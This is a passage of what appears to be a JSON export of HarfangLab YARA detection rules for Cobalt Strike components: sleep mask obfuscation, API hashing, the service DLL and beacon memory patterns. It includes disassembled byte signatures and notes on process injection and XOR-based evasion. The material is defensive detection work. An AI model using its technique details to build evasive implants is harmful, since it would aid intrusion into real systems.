+  "name": "cobalt_sleepmask_pivot_6188c6432063.yar",
+  "content": "rule cobalt_sleepmask_pivot_6188c6432063 {\n    meta:\n        title = \"Cobalt Strike Sleep Mask via Pivot Listener (6188c6432063)\"\n        id = \"7beca404-08bf-47b5-8a24-6188c6432063\"\n        description = \"Detects Cobalt Strike's Sleep Mask Kit for x86.\\nCobalt Strike's Sleep Mask Kit modifies how the sleep mask function looks in memory to evade static signatures identifying beacons.\\nIt uses an XOR key to obfuscate the sleep mask function, which can be changed by modifying a single variable.\\nIt is recommended to investigate the execution context and surrounding detections to assess whether the detected binary or process is linked with malicious activity. If possible, isolating the infected host during the investigation can help mitigate the risk of malicious activity.\"\n        references = \"https://www.cobaltstrike.com/blog/sleep-mask-update-in-cobalt-strike-4-5\\nhttps://adamsvoboda.net/sleeping-with-a-mask-on-cobaltstrike/\\nhttps://attack.mitre.org/software/S0154/\"\n        date = \"2024-01-02\"\n        modified = \"2025-03-04\"\n        author = \"HarfangLab\"\n        tags = \"attack.s0154;attack.defense_evasion;attack.t1140;attack.t1027.005;attack.command_and_control;attack.t1071\"\n        classification = \"Windows.Framework.CobaltStrike\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        arch = \"x64\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // 608ffc7b5c067a61cde43d0e5317257da653baf02a66b554520749e44eb8b705\n\n        $sleep_mask = {\n                                        // loc_118:\n            45 31 C9                                      // xor     r9d, r9d\n            45 31 C0                                      // xor     r8d, r8d\n            31 D2                                         // xor     edx, edx\n            48 89 74 24 20                                // mov     [rsp+58h+var_38], rsi\n            48 C7 44 24 28 00 00 00 00                    // mov     [rsp+58h+var_30], 0\n            48 8B 4B 18                                   // mov     rcx, [rbx+18h]\n            FF 53 40                                      // call    qword ptr [rbx+40h]\n            85 C0                                         // test    eax, eax\n            74 1D                                         // jz      short loc_156\n            83 7C 24 3C 00                                // cmp     [rsp+58h+var_1C], 0\n            75 16                                         // jnz     short loc_156\n            FF 15 ?? ?? ?? ??                             // call    cs:__imp_KERNEL32$GetCurrentProcess\n            BA 0A 00 00 00                                // mov     edx, 0Ah\n            48 89 C1                                      // mov     rcx, rax\n            FF 15 ?? ?? ?? ??                             // call    cs:__imp_KERNEL32$WaitForSingleObject\n            EB C2                                         // jmp     short loc_118\n\n                                        // loc_156:\n            4C 89 E1                                      // mov     rcx, r12\n            E8 ?? ?? ?? ??                                // call    mask_heap\n            E8 ?? ?? ?? ??                                // call    mask_sections\n            90                                            // nop\n            48 83 C4 40                                   // add     rsp, 40h\n            5B                                            // pop     rbx\n            5E                                            // pop     rsi\n            41 5C                                         // pop     r12\n            C3                                            // retn\n        }\n\n        $mask_heap = {\n            53                                            // push    rbx\n            45 31 DB                                      // xor     r11d, r11d\n            BB 0D 00 00 00                                // mov     ebx, 0Dh\n\n                                        // loc_5B:\n            48 8B 41 10                                   // mov     rax, [rcx+10h]\n            45 89 DA                                      // mov     r10d, r11d\n            49 C1 E2 04                                   // shl     r10, 4\n            4A 83 3C 10 00                                // cmp     qword ptr [rax+r10], 0\n            74 30                                         // jz      short loc_9D\n            45 31 C9                                      // xor     r9d, r9d\n\n                                        // loc_70:\n            48 8B 41 10                                   // mov     rax, [rcx+10h]\n            45 89 C8                                      // mov     r8d, r9d\n            4C 01 D0                                      // add     rax, r10\n            4C 3B 40 08                                   // cmp     r8, [rax+8]\n            73 18                                         // jnb     short loc_98\n            4C 03 00                                      // add     r8, [rax]\n            31 D2                                         // xor     edx, edx\n            44 89 C8                                      // mov     eax, r9d\n            41 FF C1                                      // inc     r9d\n            F7 F3                                         // div     ebx\n            89 D2                                         // mov     edx, edx\n            8A 44 11 18                                   // mov     al, [rcx+rdx+18h]\n            41 30 00                                      // xor     [r8], al\n            EB D8                                         // jmp     short loc_70\n\n                                        // loc_98:\n            41 FF C3                                      // inc     r11d\n            EB BE                                         // jmp     short loc_5B\n\n                                        // loc_9D:\n            5B                                            // pop     rbx\n            C3                                            // retn\n        }\n\n    condition:\n        all of them\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "cobalt_sleepmask_pivot_6188c6432063"
+  ],
+  "rule_creation_date": "2024-01-02",
+  "rule_modified_date": "2025-03-04",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Framework.CobaltStrike"
+  ],
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1140",
+    "attack.t1071",
+    "attack.t1027.005"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-cobalt_sleepmask_pivot_6d30b1acedef_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.570907Z",
+  "creation_date": "2026-03-23T11:46:25.570909Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.570915Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.cobaltstrike.com/blog/sleep-mask-update-in-cobalt-strike-4-5\nhttps://adamsvoboda.net/sleeping-with-a-mask-on-cobaltstrike/\nhttps://attack.mitre.org/software/S0154/"
+  ],
+  "name": "cobalt_sleepmask_pivot_6d30b1acedef.yar",
+  "content": "rule cobalt_sleepmask_pivot_6d30b1acedef {\n    meta:\n        title = \"Cobalt Strike Sleep Mask via Pivot Listener (6d30b1acedef)\"\n        id = \"e0e5a386-491e-45ce-a2f1-6d30b1acedef\"\n        description = \"Detects Cobalt Strike's Sleep Mask Kit for x86.\\nCobalt Strike's Sleep Mask Kit modifies how the sleep mask function looks in memory to evade static signatures identifying beacons.\\nIt uses an XOR key to obfuscate the sleep mask function, which can be changed by modifying a single variable.\\nIt is recommended to investigate the execution context and surrounding detections to assess whether the detected binary or process is linked with malicious activity. If possible, isolating the infected host during the investigation can help mitigate the risk of malicious activity.\"\n        references = \"https://www.cobaltstrike.com/blog/sleep-mask-update-in-cobalt-strike-4-5\\nhttps://adamsvoboda.net/sleeping-with-a-mask-on-cobaltstrike/\\nhttps://attack.mitre.org/software/S0154/\"\n        date = \"2024-01-02\"\n        modified = \"2025-03-04\"\n        author = \"HarfangLab\"\n        tags = \"attack.s0154;attack.defense_evasion;attack.t1140;attack.t1027.005;attack.command_and_control;attack.t1071\"\n        classification = \"Windows.Framework.CobaltStrike\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        arch = \"x86\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // 4e9ce7e0287ca340f1d47ad1fbdbb1b89ec9f0d6262a1c228c118cb4060213c9\n\n        $sleep_mask = {\n                                        // loc_14F:\n            8D 45 F4                                      // lea     eax, [ebp+var_C]\n            C7 44 24 14 00 00 00 00                       // mov     dword ptr [esp+14h], 0\n            89 44 24 10                                   // mov     [esp+10h], eax\n            C7 44 24 0C 00 00 00 00                       // mov     dword ptr [esp+0Ch], 0\n            C7 44 24 08 00 00 00 00                       // mov     dword ptr [esp+8], 0\n            C7 44 24 04 00 00 00 00                       // mov     dword ptr [esp+4], 0\n            8B 43 0C                                      // mov     eax, [ebx+0Ch]\n            89 04 24                                      // mov     [esp], eax\n            FF 53 20                                      // call    dword ptr [ebx+20h]\n            83 EC 18                                      // sub     esp, 18h\n            85 C0                                         // test    eax, eax\n            74 21                                         // jz      short loc_1A7\n            83 7D F4 00                                   // cmp     [ebp+var_C], 0\n            75 1B                                         // jnz     short loc_1A7\n            FF 15 ?? ?? ?? ??                             // call    ds:__imp__KERNEL32$GetCurrentProcess@0\n            C7 44 24 04 0A 00 00 00                       // mov     dword ptr [esp+4], 0Ah\n            89 04 24                                      // mov     [esp], eax\n            FF 15 ?? ?? ?? ??                             // call    ds:__imp__KERNEL32$WaitForSingleObject@8\n            50                                            // push    eax\n            50                                            // push    eax\n            EB A8                                         // jmp     short loc_14F\n\n                                        // loc_1A7:\n            89 34 24                                      // mov     [esp], esi\n            E8 ?? ?? ?? ??                                // call    _mask_heap\n            89 34 24                                      // mov     [esp], esi\n            E8 ?? ?? ?? ??                                // call    _mask_sections\n            8D 65 F8                                      // lea     esp, [ebp-8]\n            5B                                            // pop     ebx\n            5E                                            // pop     esi\n            5D                                            // pop     ebp\n            C3                                            // retn\n        }\n\n        $mask_heap = {\n            55                                            // push    ebp\n            89 E5                                         // mov     ebp, esp\n            57                                            // push    edi\n            56                                            // push    esi\n            53                                            // push    ebx\n            31 DB                                         // xor     ebx, ebx\n            52                                            // push    edx\n            8B 75 08                                      // mov     esi, [ebp+arg_0]\n\n                                        // loc_6F:\n            8B 46 08                                      // mov     eax, [esi+8]\n            83 3C 18 00                                   // cmp     dword ptr [eax+ebx], 0\n            74 2F                                         // jz      short loc_A7\n            31 C9                                         // xor     ecx, ecx\n\n                                        // loc_7A:\n            8B 46 08                                      // mov     eax, [esi+8]\n            01 D8                                         // add     eax, ebx\n            39 48 04                                      // cmp     [eax+4], ecx\n            76 1E                                         // jbe     short loc_A2\n            8B 38                                         // mov     edi, [eax]\n            31 D2                                         // xor     edx, edx\n            89 C8                                         // mov     eax, ecx\n            01 CF                                         // add     edi, ecx\n            41                                            // inc     ecx\n            89 7D F0                                      // mov     [ebp+var_10], edi\n            BF 0D 00 00 00                                // mov     edi, 0Dh\n            F7 F7                                         // div     edi\n            8A 44 16 0C                                   // mov     al, [esi+edx+0Ch]\n            8B 55 F0                                      // mov     edx, [ebp+var_10]\n            30 02                                         // xor     [edx], al\n            EB D8                                         // jmp     short loc_7A\n\n                                        // loc_A2:\n            83 C3 08                                      // add     ebx, 8\n            EB C8                                         // jmp     short loc_6F\n\n                                        // loc_A7:\n            58                                            // pop     eax\n            5B                                            // pop     ebx\n            5E                                            // pop     esi\n            5F                                            // pop     edi\n            5D                                            // pop     ebp\n            C3                                            // retn\n        }\n\n    condition:\n        all of them\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "cobalt_sleepmask_pivot_6d30b1acedef"
+  ],
+  "rule_creation_date": "2024-01-02",
+  "rule_modified_date": "2025-03-04",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Framework.CobaltStrike"
+  ],
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1140",
+    "attack.t1071",
+    "attack.t1027.005"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-cobalt_strike_api_hashing_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.567166Z",
+  "creation_date": "2026-03-23T11:46:25.567168Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.567174Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://malpedia.caad.fkie.fraunhofer.de/details/win.cobalt_strike\nhttps://attack.mitre.org/software/S0154/"
+  ],
+  "name": "cobalt_strike_api_hashing.yar",
+  "content": "rule cobalt_strike_api_hashing {\n    meta:\n        title = \"Cobalt Strike API Hashing\"\n        id = \"fa52a1f8-d1b8-4fbf-a086-7a8cf1e15220\"\n        description = \"Detects API hashing functions in Cobalt Strike Artifact Kit.\\nCobalt Strike is a commercial remote access tool used for adversary simulation, enabling targeted attacks and emulation of advanced threat actors' post-exploitation activities.\"\n        references = \"https://malpedia.caad.fkie.fraunhofer.de/details/win.cobalt_strike\\nhttps://attack.mitre.org/software/S0154/\"\n        date = \"2024-06-14\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.s0154;attack.defense_evasion;attack.t1569.002;attack.t1218;attack.t1055.012;attack.t1027.007\"\n        classification = \"Windows.Framework.CobaltStrike\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // e3bc6a18efd0e1c7fdf93050ce0d40c7d824ca3eefea087f862688494e5ea612\n        // c46e5704d69c41d14e8d90567302a1b34d1006a7c3082699dded12bb8b694023\n        // 3dfc768a4670a52f6dfc3ec80859129f9955fc80341f31ea09eb45c35a30f3b6\n        // 089bf4899c09179ac73c40ec314e298b298a0895ce28ca4d9da8353e9fe7afef\n\n        $x_hash = {\n            45 0F B7 01                   // movzx   r8d, word ptr [r9]\n            C1 C8 ??                      // ror     eax, 0Dh\n            41 83 F8 61                   // cmp     r8d, 61h ; 'a'\n            72 03                         // jb      short loc_356CC1BFA\n            83 C0 E0                      // add     eax, 0FFFFFFE0h\n        }\n\n        $x_virtualfree = {\n            BA 17 CA 2B 6E                // mov     edx, 6E2BCA17h  // kernel32.dll\n            41 B8 7B 27 83 E1             // mov     r8d, 0E183277Bh // VirtualFree\n            48 8B CE                      // mov     rcx, rsi\n            E8                            // call    GetProcAddressByHash\n        }\n\n        $x_rtldecompressbuffer = {\n            BA F2 DB 74 AD                // mov     edx, 0AD74DBF2h // ntdll.dll\n            41 B8 00 18 63 8B             // mov     r8d, 8B631800h  // RtlDecompressBuffer\n            48 8B CE                      // mov     rcx, rsi\n            E8                            // call    GetProcAddressByHash\n        }\n\n        $x_loadlibrarya = {\n            41 B8 76 46 8B 8A             // mov     r8d, 8A8B4676h // LoadLibraryA\n            BA 17 CA 2B 6E                // mov     edx, 6E2BCA17h // kernel32.dll\n            48 8B F1                      // mov     rsi, rcx\n            E8                            // call    GetProcAddressByHash\n        }\n\n        $x_getprocaddress1 = {\n            BA 17 CA 2B 6E                // mov     edx, 6E2BCA17h // kernel32.dll\n            41 B8 7A EE CA 1A             // mov     r8d, 1ACAEE7Ah // GetProcAddress\n            48 8B CE                      // mov     rcx, rsi\n            E8                            // call    GetProcAddressByHash\n        }\n        $x_getprocaddress2 = {\n            41 B8 7A EE CA 1A             // mov     r8d, 1ACAEE7Ah // GetProcAddress\n            41 8B D6                      // mov     edx, r14d\n            48 8B CE                      // mov     rcx, rsi\n            E8                            // call    GetProcAddressByHash\n        }\n\n        $x_virtualalloc1 = {\n            BA 17 CA 2B 6E                // mov     edx, 6E2BCA17h // kernel32.dll\n            41 B8 1C BE 2E 30             // mov     r8d, 302EBE1Ch // VirtualAlloc\n            48 8B CE                      // mov     rcx, rsi\n            E8                            // call    GetProcAddressByHash\n        }\n        $x_virtualalloc2 = {\n            41 B8 1C BE 2E 30             // mov     r8d, 302EBE1Ch // VirtualAlloc\n            41 8B D6                      // mov     edx, r14d\n            48 8B CE                      // mov     rcx, rsi\n            E8                            // call    GetProcAddressByHash\n        }\n\n        $x_ntflushinstructioncache = {\n            BA F2 DB 74 AD                // mov     edx, 0AD74DBF2h // ntdll.dll\n            41 B8 7F 3B 5A D9             // mov     r8d, 0D95A3B7Fh // NtFlushInstructionCache\n            48 8B CE                      // mov     rcx, rsi\n            E8                            // call    GetProcAddressByHash\n        }\n\n    condition:\n        1 of them\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "cobalt_strike_api_hashing"
+  ],
+  "rule_creation_date": "2024-06-14",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Framework.CobaltStrike"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1218",
+    "attack.t1027.007",
+    "attack.t1569.002",
+    "attack.t1055.012"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-cobalt_strike_artifact_svc_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.575774Z",
+  "creation_date": "2026-03-23T11:46:25.575777Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.575782Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/software/S0154/"
+  ],
+  "name": "cobalt_strike_artifact_svc.yar",
+  "content": "rule cobalt_strike_artifact_svc {\n    meta:\n        title = \"Cobalt Strike Artifact Service DLL\"\n        id = \"2aa825db-bd08-4010-b19f-25a126ca1771\"\n        description = \"Detects the Cobalt Strike Artifact Service DLL.\\nCobalt Strike is a commercial, full-featured, remote access tool that bills itself as adversary simulation software designed to execute targeted attacks and emulate the post-exploitation actions of advanced threat actors.\\nCobalt Strike's interactive post-exploit capabilities cover the full range of ATT&CK tactics, all executed within a single, integrated system.\"\n        references = \"https://attack.mitre.org/software/S0154/\"\n        date = \"2020-12-10\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.s0154;attack.defense_evasion;attack.t1569.002;attack.t1218;attack.t1055.012\"\n        classification = \"Windows.Framework.CobaltStrike\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // This payload use those APIs to inject payload into a new suspended process.\n        $s1 = \"WriteProcessMemory\" ascii\n        $s2 = \"VirtualAllocEx\" ascii\n        $s3 = \"VirtualProtect\" ascii\n        $s4 = \"VirtualProtectEx\" ascii\n        $s5 = \"VirtualQuery\" ascii\n\n        // This payload use those APIs to start an injected thread on the target sacrificial process (by altering thread context).\n        $s6 = \"GetThreadContext\"\n        $s7 = \"SetThreadContext\"\n        $s8 = \"ResumeThread\"\n\n        // The hardcoded sacrifical process is rundll32.exe (\"windir\\System32\\rundll32.dll\" path is constructed)\n        // GetEnvironmentVariableA(\"windir\", windir_expanded_path, 0x400u);\n        $s9 = \"windir\" ascii\n        // snprintf(CommandLine, 0x400ui64, \"%s\\\\System32\\\\%s\", windir_expanded_path, executable_path);\n        $s10 = \"%s\\\\System32\\\\%s\" ascii\n        $s11 = \"rundll32.exe\" ascii\n\n        // Detect standard services import used by this payload.\n        $s12 = \"RegisterServiceCtrlHandlerA\" ascii\n        $s13 = \"StartServiceCtrlDispatcherA\" ascii\n\n        // The hardcoded service control name is \"DceRpcSs\"\n        $s14 = \"DceRpcSs\" ascii\n\n    condition:\n        all of them\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "cobalt_strike_artifact_svc"
+  ],
+  "rule_creation_date": "2020-12-10",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Framework.CobaltStrike"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1218",
+    "attack.t1569.002",
+    "attack.t1055.012"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-cobalt_strike_beacon_7f9c58fac468_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.570967Z",
+  "creation_date": "2026-03-23T11:46:25.570970Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.570975Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/software/S0154/"
+  ],
+  "name": "cobalt_strike_beacon_7f9c58fac468.yar",
+  "content": "rule cobalt_strike_beacon_7f9c58fac468 {\n    meta:\n        title = \"Cobalt Strike Beacon (7f9c58fac468)\"\n        id = \"1b6182c5-0ef5-4c7e-a9cf-7f9c58fac468\"\n        description = \"Detects an x86 Cobalt Strike Beacon in memory. Cobalt Strike is a commercial remote access tool used for adversary simulation. This rule detects the beacon by identifying specific patterns such as command handlers, configuration decryption, and C2 communication attempts. It is recommended to isolate the system and analyze the process for any signs of unauthorized activity.\"\n        references = \"https://attack.mitre.org/software/S0154/\"\n        date = \"2020-12-18\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.s0154;attack.defense_evasion;attack.t1569.002;attack.t1218;attack.t1055.012\"\n        classification = \"Windows.Framework.CobaltStrike\"\n        context = \"memory,thread\"\n        os = \"Windows\"\n        arch = \"x86\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n\n    // \"HTTP/1.1 200 OK\\r\\nContent-Type: application/octet-stream\\r\\nContent-Length: %d\\r\\n\\r\\n\"\n    $clear_string_http_header = {\n        48 54 54 50 2F 31 2E 31 20 32 30 30 20 4F 4B 0D\n        0A 43 6F 6E 74 65 6E 74 2D 54 79 70 65 3A 20 61\n        70 70 6C 69 63 61 74 69 6F 6E 2F 6F 63 74 65 74\n        2D 73 74 72 65 61 6D 0D 0A 43 6F 6E 74 65 6E 74\n        2D 4C 65 6E 67 74 68 3A 20 25 64 0D 0A 0D 0A 00\n    }\n\n    $clear_string_uid_fmt = \"%s (admin)\" ascii\n    $clear_string_uid_admin_fmt = \"%s (admin)\" ascii\n    $clear_string_psexec_service_start_fmt = \"Started service %s on %s\" ascii\n    $clear_string_psexec_service_error_fmt = \"%s on %s: %d\" ascii\n    $clear_string_start_as_user_error_fmt = \"%s as %s\\\\%s: %d\" ascii\n\n    // NOTE: inline_execute is not present on Cobalt Strike 3\n    $inline_execute_function_40 = {\n        A1 ?? ?? ?? ??           // mov  eax, dword ptr [0xXX]\n        89 45 D4                 // mov dword ptr [ebp - 0x2c], eax\n        A1 ?? ?? ?? ??           // mov  eax, dword ptr [0xXX]\n        56                       // push esi\n        89 45 DC                 // mov dword ptr [ebp - 0x24], eax\n        A1 ?? ?? ?? ??           // mov eax, dword ptr [0xXX]\n        6A 40                    // push 0x40 // PAGE_EXECUTE_READWRITE\n        89 45 D8                 // mov dword ptr [ebp - 0x28], eax\n        8B 45 10                 // mov eax, dword ptr [ebp + 0x10]\n        68 00 30 00 00           // push 0x3000 // MEM_COMMIT | MEM_RESERVE\n        FF 75 0C                 // push dword ptr [ebp + 0xc]\n        89 45 F0                 // mov dword ptr [ebp - 0x10], eax\n        8B 45 14                 // mov eax, dword ptr [ebp + 0x14]\n        6A 00                    // push 0\n        C7 45 E0 ?? ?? ?? ??     // mov dword ptr [ebp - 0x20], 0xXX\n        C7 45 E4 ?? ?? ?? ??     // mov dword ptr [ebp - 0x1c], 0xXX\n        C7 45 E8 ?? ?? ?? ??     // mov dword ptr [ebp - 0x18], 0xXX\n        C7 45 EC ?? ?? ?? ??     // mov dword ptr [ebp - 0x14], 0xXX\n        89 45 F4                 // mov dword ptr [ebp - 0xc], eax\n        FF 15 ?? ?? ?? ??        // call dword ptr [0xXX]\n        8B F0                    // mov esi, eax\n        85 F6                    // test esi, esi\n        74 ??                    // je 0xXX\n        FF 75 0C                 // push dword ptr [ebp + 0xc]\n        FF 75 08                 // push dword ptr [ebp + 8]\n        56                       // push esi\n        E8 ?? ?? ?? ??           // call 0xXX\n        83 C4 0C                 // add esp, 0xc\n        8D 45 D4                 // lea eax, [ebp - 0x2c]\n        50                       // push eax\n        FF D6                    // call esi\n        68 00 80 00 00           // push 0x8000 // MEM_RELEASE\n        FF 75 0C                 // push dword ptr [ebp + 0xc]\n        56                       // push esi\n        FF 15 ?? ?? ?? ??        // call 0xXX\n    }\n\n    // NOTE: Cobalt Strike 4.2 extended the inline_execute method effectively uninlining it. We match on the context creation function.\n    $inline_execute_function_42 = {\n        A1 ?? ?? ?? ??        // mov eax, dword ptr [0xXX]\n        89 06                 // mov dword ptr [esi], eax\n        A1 ?? ?? ?? ??        // mov eax, dword ptr [0xXX]\n        89 46 ??              // mov dword ptr [esi + 0xXX], eax\n        A1 ?? ?? ?? ??        // mov eax, dword ptr [0xXX]\n        89 46 ??              // mov dword ptr [esi + 0xXX], eax\n        A1 ?? ?? ?? ??        // mov eax, dword ptr [0xXX]\n        83 C4 0C              // add esp, 0xc\n        89 46 ??              // mov dword ptr [esi + 0xXX], eax\n        C7 46 ?? ?? ?? ?? ??  // mov dword ptr [esi + 0xXX], 0xXX\n        C7 46 ?? ?? ?? ?? ??  // mov dword ptr [esi + 0xXX], 0xXX\n        C7 46 ?? ?? ?? ?? ??  // mov dword ptr [esi + 0xXX], 0xXX\n        C7 46 ?? ?? ?? ?? ??  // mov dword ptr [esi + 0xXX], 0xXX\n        C7 46 ?? ?? ?? ?? ??  // mov dword ptr [esi + 0xXX], 0xXX\n        C7 46 ?? ?? ?? ?? ??  // mov dword ptr [esi + 0xXX], 0xXX\n        C7 46 ?? ?? ?? ?? ??  // mov dword ptr [esi + 0xXX], 0xXX\n        C7 46 ?? ?? ?? ?? ??  // mov dword ptr [esi + 0xXX], 0xXX\n        C7 46 ?? ?? ?? ?? ??  // mov dword ptr [esi + 0xXX], 0xXX\n        C7 46 ?? ?? ?? ?? ??  // mov dword ptr [esi + 0xXX], 0xXX\n        C7 46 ?? ?? ?? ?? ??  // mov dword ptr [esi + 0xXX], 0xXX\n        C7 46 ?? ?? ?? ?? ??  // mov dword ptr [esi + 0xXX], 0xXX\n        C7 46 ?? ?? ?? ?? ??  // mov dword ptr [esi + 0xXX], 0xXX\n        C7 46 ?? ?? ?? ?? ??  // mov dword ptr [esi + 0xXX], 0xXX\n        C7 46 ?? ?? ?? ?? ??  // mov dword ptr [esi + 0xXX], 0xXX\n        C7 46 ?? ?? ?? ?? ??  // mov dword ptr [esi + 0xXX], 0xXX\n        C7 46 ?? ?? ?? ?? ??  // mov dword ptr [esi + 0xXX], 0xXX\n        C7 46 ?? ?? ?? ?? ??  // mov dword ptr [esi + 0xXX], 0xXX\n        C7 46 ?? ?? ?? ?? ??  // mov dword ptr [esi + 0xXX], 0xXX\n        C7 46 ?? ?? ?? ?? ??  // mov dword ptr [esi + 0xXX], 0xXX\n        C7 46 ?? ?? ?? ?? ??  // mov dword ptr [esi + 0xXX], 0xXX\n        C7 46 ?? ?? ?? ?? ??  // mov dword ptr [esi + 0xXX], 0xXX\n        C7 46 ?? ?? ?? ?? ??  // mov dword ptr [esi + 0xXX], 0xXX\n        C7 46 ?? ?? ?? ?? ??  // mov dword ptr [esi + 0xXX], 0xXX\n        C7 46 ?? ?? 